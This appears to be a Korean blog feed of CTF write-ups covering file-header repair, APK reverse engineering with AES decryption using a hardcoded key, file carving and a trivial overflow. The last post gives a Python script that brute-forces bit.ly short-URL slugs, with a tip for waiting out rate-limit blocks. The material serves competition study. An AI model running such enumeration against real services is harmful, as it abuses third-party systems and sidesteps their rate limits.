I need to encrypt some data using RSA in JavaScript. All of the libraries around ask for an exponent and a modulus, yet I get a single public.key file from my opponent. How do you retrieve the pu...

stackoverflow.com

 

깔끔하게 보는 방법도 나와 있다.

 

 

 

 


MISC

 

 

Optics 1 (baby)

 

I dropped out of my physics class due to boring optical theory. I joined Forensics class thereafter. But, I found Optics there too. Help me clear this class :facepalm:

By: knapstack

 

 

png 파일이 하나 주어지는데, 열려고 하면 열리지 않는다.

 

Hxd로 열어보면 header signuature가 잘못 설정되어 있는 것을 알 수 있다.

 

0x1~0x3이 LOL로 되어 있는데 이를 PNG로 바꿔주면 파일이 정상적으로 열린다.

0x50 0x4e 0x47

 

QR코드 이미지가 나오는데, 이를 스캔해주면 flag가 나온다.

 

 

FLAG: utc{dang_you_know_qr_decoding_and_shit}

 


Sanity Check

 

Join our discord and get a free flag.

 

 

와 공짜 플래그

 

FLAG : utc{whats_discord_lol}

 


REVERSING

 

Strings (baby)

 

Itz not giving me flag...

GIMMME THE FLAG

By: theKidOfArcrania

 

 

strings 라는 파일이 주어진다.

 

 

HxD로 열어보면 ELF 헤더 시그니쳐를 확인 할 수 있다.

Open with HxD, you can find ELF header signature.

So, this file's format is ELF.

 

 

 

 

 

그리고 exeinfo PE를 통해 64bit elf 라는 것도 알 수 있다.

 

 

64bit elf 파일이기 때문에, ida 64bit로 연다.

 

문제 제목이 strings이기 때문에, 문자열들을 확인해 주면 된다.

Check out strings!

 

 

main함수에는 fake flag가 있다.

you can find fake flag in main FUNC.

 

 

 

 

real flag는 여기서 찾을 수 있다.

Real flag is in here!

 

 

FLAG : utc{that_waz_ezpz}


 

 

 

 

 

 

 

 

반응형
반응형

대구정보보안컨퍼런스에서 했던 해킹대회 본선 문제풀이이다.

 

대회를 한지 벌써 1달이 지나가는데.. 풀이를 블로그에 안 올렸었다는 것을 지금 알았다.

 

근데 한 문제 밖에 풀이가 없다 ㅇㅅㅇ

 

게다가 풀이도 간단

 

 

 

 

 

 

 

 

 

팀명: 스틸리언입사예정명단.tar.gz

 

 

 

 

 

 

 

 

 

 

 

안드로이드 apk가 주어진 문제였다.

 

 

푸는 과정은 이러했다. 정석대로 풀면 된다. (오히려 문제 지문 + 힌트로 인해 혼란스러웠었음.)

 

apk파일에서 classes.dex 파일 추출

-> dex2jar을 이용해 jar로 바꾸기

-> jd-gui로 열어서 소스 확인하기

-> 암호화된 파일 찾기

-> 복호화 (AES)

 

 

 

 

 

apk파일을 압축을 풀어보면 classes.dex라는 파일이 있다.

 

해당 파일을 dex2jar을 이용해서 jar로 바꿔준다.

 

바꾼 jar 파일을 jd-gui.exe로 연다.

 

 

 

 

 

 

 

힌트 전부 무시.

 

어떤 작업들을 하는지 확인하기 위해서

 

startService(new Intent(this, RecordManager.class));

 

에 있는 RecordManager.class 로 이동

 

 

 

 

 

filez()함수를 보면 FL46.3gp 가 보이며, 플래그와 연관되어 있는 부분임을 알 수 있다.

 

 

ERROR라는 이름을 가진 파일을 열어서, 바이트를 가져와서, 디코딩을 해서, FL46.3gp에 저장한다.

 

디코딩/복호화에 decodeFile()함수를 사용하였으며, 1번째 인자에 key를 2번째 인자에 바이트 배열이 들어감을 알 수 있고, 암복호화방식은 AES/ECB/PKCS5Padding 를 사용하였음을 확인할 수 있다.

 

따라서 복호화에 사용될 키는 "ABABACADAEAFADAD" 이다.

 

 

 

 

 

복호화에 아래 사이트를 사용했다.

https://www.devglan.com/online-tools/aes-encryption-decryption

 

Online Tool for AES Encryption and Decryption

AES encryption and decryption online tool for free.It is an aes calculator that performs aes encryption and decryption of image, text and .txt file in ECB and CBC mode with 128, 192,256 bit. The output can be base64 or Hex encoded.

www.devglan.com

 

 

 

복호화할 데이터를 base64형태로 받게 했다.

 

 

 

 

 

 

ERROR파일은 apk파일 내에 asset 폴더 안에 있었다.

ERROR파일 내용을 hex값으로 긁어서 아래 사이트에서 base64로 변환했다.

 

https://www.branah.com/ascii-converter

 

ASCII Converter - Hex, decimal, binary, base64, and ASCII converter

Convert ASCII characters to their hex, decimal and binary representations and vice versa. In addition, base64 encode/decode binary data. The converter happens automatically.

www.branah.com

hex란에서 Remove 0x를 체크한뒤에 붙여넣고,  ASCII란에서 Remove spaces로 공백제거

그 다음 base64란에서 값 복사후 복호화 사이트에 붙여넣기.

 

 

 

 

Key란에 ABABACADAEAFADAD 입력.

 

 

복호화.

 

 

base64문자열이 나오게 된다. 이를 다시 위 사이트에서 ascii로 바꿔주면 flag가 나온다.

 

Lifeis4longle55oninhumili7y

반응형
반응형

https://wargame.infodsm.tech/

 

INFO WARGAME

Welcome to INFO WARGAME! Follow us on social media:  

wargame.infodsm.tech

 

Reversing

 

Very_Simple_Rev

150

 

아이다로 까서 문자열 보면 나온다.

반응형
반응형

Forensics

 

I AM STEGO!!

50

hxd로 열어서 끝부분에서 패스워드를 찾을 수 있다.

 

openstegoflag.txt 추출

 

 

 

Thinking

100

 

.zip으로 바꾸고 ppt> mediaFLAG.PNG가 존재한다.

 

 

You are in me

100

 

jpgfooter 시그니쳐ff d9를 찾으면 다음에 MZ 시그니쳐가 보인다.

카빙해서 IDA로 보면 xor 연산을 하는 것을 알 수 있다.

간단히 코드 짜서 xor 돌리면 플래그 나온다.

 

 

 

Header Trick

150

I think the header of this flag is wrong...

 

라고 한다. 압축파일 내용을 보면, 파일이 두 개가 존재하는데, flag.txt는 암호가 걸려있고, 다른 하나는 걸려있지 않다.

 

그렇다는 것은 실제로 패스워드는 걸려있지 않지만, flag.txt만 헤더 조작을 통해 암호화가 걸린 것 처럼 만든 것이다.

 

hxd를 통해 해더를 분석해보면 헤더가 다른 것이 보인다.

 

 

 

flag.txt만 00 09 08 08 00 이고 나머지는 00 00 00 08 00임을 알 수 있다.

 

09 08을 00 00로 덮어주고 열면 된다.

 

 

 

 

Something is inside me?!

200

 

IDA로 까서 strigs에서 보이는 문자열 ascii 85로 디코딩 해주면 된다.

https://cryptii.com/pipes/ascii85-encoding

 

힌트라고 한다면,, <- Guess what it is! There's 85 possibilitys. 여기서 85가 힌트일 듯 하다.

 

 

 

 

 

All your base are belong to newbie

350

 

png footer 시그니쳐 뒤에 elf 시그니쳐가 있다.

카빙후 실행하면 문제를 풀어야 한다. 문제 답은 IDA로 까보면 찾을 수 있다.

반응형
반응형

MISC

 

Triple Bass 50

base64 몇 번 돌리면 된다.

 

Honamseon

50

-1_0으로 치환 후,

 

6자리는 앞에 00을

7자리는 앞에 0을 붙여주어 8자리를 만들어 준 뒤에

 

아스키코드로 변환하면 된다.

 

 

Brain JS

150

 

두 개의 과정을 거치면 된다.

 

https://enkhee-osiris.github.io/Decoder-JSFuck/

 

 

JSFuck de-obfuscator

JSFuck decoder, de-obfuscator

enkhee-osiris.github.io

 

https://copy.sh/brainfuck/

 

El Brainfuck

A Brainfuck editor & optimizing interpreter, written in JavaScript. The code is converted to JavaScript code and then run in a web worker, which speeds up execution at lot (try mandelbrot.b for example). Load example program hanoi.bf yapi.b hellom.bf numwa

copy.sh

반응형
반응형

Pwnable

It's very simple bof

50

str과 str2 사이에 dummy가 없다고 가정하고 str2 10바이트 채워주고 바로 다음 Hello, world!로 str을 채워주면 된다.

반응형
반응형

지금은 문제가 없어졌다.

 

그냥 브포 문제라서 그런 것 같다.

 

저번 해캠때도 비슷한 브포 문제가 있었는데 출제자 분이 동일했던 것으로 기억한다. (제가 아는 분입니다.)

 

 

이번 문제 내용은 이렇다.

 

import random 
import sys 
url= ['h','t','t','p','s',':','/','/','x','x','x', '.' 'x','x','/','1','2','3','4','5','6','7'] 
 #url is https://xxx.xx/XXXXXXX 
 # flag in this site. #guess what !!!! 
random.shuffle(url) 
for i in range(0,21): 
    sys.stdout.write(url[i]) 
    sys.stdout.flush()

 

이렇게 소스 코드 하나 주고, 출력도 주는.....ㄷ....ㅔ??

 

Aㅏ 따로 저장해두지 않았다....

 

 

출력은 저 구해야 되는 url의 문자들이 랜덤으로 배치된 문자열을 준다.

 

url이 https://xxx.xx/XXXXXXX 이와 같은 형태라고 하는데 xxx.xx을 보고

0. 단축 url이다.

1. bit.ly

을 유추해 냈다.

 

출력값에서 h t t p s : / / b i t . l y / 을 빼내면 A B C D E F G가 남게 된다.

(이 문제는 단순 브포에다가 bit.ly에 5000번 정도를 접속을 해야 하기 때문에 그냥 문자를 ABCDEFG로 바꾸었습니다.

외부 공개된 CTF문제에서도 빠진 것을 보면, 굳이 그대로 올리는 건 좋지 않은 것 같았습니다.)

 

저 7개 문자를 가져다가 순열을 만들어서 다 접속해보면 된다.

 

from itertools import permutations
import requests

a = list(permutations(['A','B','C','D','E','F','G']))
url = "https://bit.ly/"

print(len(a))
for i in range(0, 5041): #4967
    print(i)
    b = a[i]
    b = str(b).replace(",", "")
    b = str(b).replace("(", "")
    b = str(b).replace(")", "")
    b = str(b).replace("'", "")
    b = str(b).replace(" ", "")

    d = url + b
    print(d)

    response = requests.post(d)
    print(response)

 

0. 200 응답만 오는 걸 출력하도록 조건문을 추가하는 것이 더 좋다.

1. 돌리다 보면 request에서 오류가 나는 경우가 있는데, 해당 url 다음 번째부터 다시 코드를 돌려주면 된다.

2. 코드가 잘 돌다가 어느 순간부터 403으로만 응답이 오면 bit.ly로 부터 차단된 것이다. 몇 분 기다렸다가 다시 시도해 c주어야 한다.

 

CTF때, url 하나 접속하고 응답받는데 약 2초정도 걸렸었다. 혼자 돌리는 건 매우 오래걸릴 것 같아서 팀원 2명과 같이 범위를 나누어서 돌렸었는데, 그 중 한분이 구글 콜라보레이터를 알려주시면서 빠르게 코드를 돌릴 수 있었다.

 

4000개쯤 시도했을 때... 이거 다 돌려도 안나오면 어떡하지 라는 걱정을 했었는데 결국 4967번째에서 찾을 수 있었다.

(뒤에서부터 돌릴걸 그랬다.)

반응형

+ Recent posts